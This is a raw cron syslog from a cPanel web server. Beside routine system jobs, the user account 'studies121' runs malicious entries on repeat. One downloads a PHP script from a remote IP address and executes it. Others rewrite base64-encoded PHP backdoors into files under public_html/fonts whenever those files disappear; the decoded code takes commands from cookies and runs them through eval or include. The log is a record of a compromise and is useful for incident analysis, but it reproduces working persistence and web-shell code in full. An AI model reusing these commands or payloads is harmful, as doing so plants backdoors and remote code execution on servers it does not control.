Sep  2 06:58:01 ip-184-168-122-23 CROND[1440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:58:01 ip-184-168-122-23 CROND[1439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:58:01 ip-184-168-122-23 CROND[1445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:58:01 ip-184-168-122-23 CROND[1446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:59:01 ip-184-168-122-23 CROND[1629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:59:01 ip-184-168-122-23 CROND[1632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:59:01 ip-184-168-122-23 CROND[1635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:59:01 ip-184-168-122-23 CROND[1634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:00:02 ip-184-168-122-23 CROND[1750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:00:02 ip-184-168-122-23 CROND[1754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:00:02 ip-184-168-122-23 CROND[1756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:00:02 ip-184-168-122-23 CROND[1752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:00:02 ip-184-168-122-23 CROND[1751]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:00:02 ip-184-168-122-23 CROND[1757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:00:02 ip-184-168-122-23 CROND[1755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:00:02 ip-184-168-122-23 CROND[1758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:01:01 ip-184-168-122-23 CROND[1911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:01:01 ip-184-168-122-23 CROND[1912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 07:01:02 ip-184-168-122-23 CROND[1915]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 07:01:02 ip-184-168-122-23 CROND[1917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:01:02 ip-184-168-122-23 CROND[1916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:01:02 ip-184-168-122-23 CROND[1918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1915]: starting 0anacron
Sep  2 07:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1933]: finished 0anacron
Sep  2 07:02:01 ip-184-168-122-23 CROND[2061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:02:01 ip-184-168-122-23 CROND[2060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:02:01 ip-184-168-122-23 CROND[2062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:02:01 ip-184-168-122-23 CROND[2063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:02:01 ip-184-168-122-23 CROND[2064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:03:01 ip-184-168-122-23 CROND[2197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:03:01 ip-184-168-122-23 CROND[2198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:03:01 ip-184-168-122-23 CROND[2199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:03:01 ip-184-168-122-23 CROND[2200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:04:01 ip-184-168-122-23 CROND[2334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:04:01 ip-184-168-122-23 CROND[2335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:04:01 ip-184-168-122-23 CROND[2338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:04:01 ip-184-168-122-23 CROND[2337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:04:01 ip-184-168-122-23 CROND[2339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:05:01 ip-184-168-122-23 CROND[2455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:05:01 ip-184-168-122-23 CROND[2458]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 07:05:01 ip-184-168-122-23 CROND[2459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:05:01 ip-184-168-122-23 CROND[2460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:05:01 ip-184-168-122-23 CROND[2462]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:05:01 ip-184-168-122-23 CROND[2461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:05:01 ip-184-168-122-23 CROND[2463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:06:01 ip-184-168-122-23 CROND[2594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:06:01 ip-184-168-122-23 CROND[2595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:06:01 ip-184-168-122-23 CROND[2596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:06:01 ip-184-168-122-23 CROND[2597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:06:01 ip-184-168-122-23 CROND[2600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:07:01 ip-184-168-122-23 CROND[2767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:07:01 ip-184-168-122-23 CROND[2768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:07:01 ip-184-168-122-23 CROND[2769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:07:01 ip-184-168-122-23 CROND[2770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:08:01 ip-184-168-122-23 CROND[2951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:08:01 ip-184-168-122-23 CROND[2952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 07:08:01 ip-184-168-122-23 CROND[2955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:08:01 ip-184-168-122-23 CROND[2956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:08:01 ip-184-168-122-23 CROND[2957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:09:01 ip-184-168-122-23 CROND[3057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:09:01 ip-184-168-122-23 CROND[3058]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 07:09:01 ip-184-168-122-23 CROND[3060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 07:09:01 ip-184-168-122-23 CROND[3062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:09:01 ip-184-168-122-23 CROND[3065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 07:10:01 ip-184-168-122-23 CROND[3176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:10:01 ip-184-168-122-23 CROND[3181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
